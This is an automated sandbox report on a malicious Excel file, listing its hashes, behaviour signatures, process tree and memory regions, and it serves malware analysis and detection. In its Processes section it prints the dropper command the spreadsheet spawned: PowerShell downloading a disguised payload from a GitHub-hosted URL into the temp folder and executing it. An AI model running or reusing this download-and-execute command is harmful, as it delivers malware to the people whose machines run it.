Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Resubmissions

18/09/2023, 19:48

230918-yjcc1aef87 10

18/09/2023, 19:44

230918-yfxvjaef77 1

Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    18/09/2023, 19:48

General

  • Target

    38a5d5432a654e4196c8c8bb73cfa5f85f9dd57c86a9229472787ee3165e75f7.xls

  • Size

    134KB

  • MD5

    f62c20fa55c5cd1113e6388ddd6982c0

  • SHA1

    7d3ecaaf149d049056bb1baef3e10649940097bc

  • SHA256

    38a5d5432a654e4196c8c8bb73cfa5f85f9dd57c86a9229472787ee3165e75f7

  • SHA512

    986a1cee21e348fc1323373717968eac2f44201dea9cb87be22a285f1a3a3f4418e130f34de6d3e83761375085388ac8d7ae1ef59aecbff9962e3f42385f5053

  • SSDEEP

    3072:oClOWUjWjf446h9jk5vw7SAEt4Ldq3xktQ73:oClOWUjWjf446h9jk5vw7SAEt4Ldq3xh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://raw.githubusercontent.com/Build87471/ljs0l440ku9r/gh-pages/1pkcwcebyi4.ttf

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\38a5d5432a654e4196c8c8bb73cfa5f85f9dd57c86a9229472787ee3165e75f7.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c powershell -command "& { (new-object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/Build87471/ljs0l440ku9r/gh-pages/1pkcwcebyi4.ttf\" ,\" %tmp%\\KeTyG8o.jar\") }" & %tmp%\\KeTyG8o.jar
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "& { (new-object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/Build87471/ljs0l440ku9r/gh-pages/1pkcwcebyi4.ttf\" ,\" C:\Users\Admin\AppData\Local\Temp\\KeTyG8o.jar\") }"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2376-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2376-1-0x0000000072D2D000-0x0000000072D38000-memory.dmp

    Filesize

    44KB

  • memory/2376-4-0x0000000072D2D000-0x0000000072D38000-memory.dmp

    Filesize

    44KB

  • memory/2756-5-0x000000006CC70000-0x000000006D21B000-memory.dmp

    Filesize

    5.7MB

  • memory/2756-6-0x000000006CC70000-0x000000006D21B000-memory.dmp

    Filesize

    5.7MB

  • memory/2756-7-0x0000000002700000-0x0000000002740000-memory.dmp

    Filesize

    256KB

  • memory/2756-8-0x0000000002700000-0x0000000002740000-memory.dmp

    Filesize

    256KB

  • memory/2756-9-0x000000006CC70000-0x000000006D21B000-memory.dmp

    Filesize

    5.7MB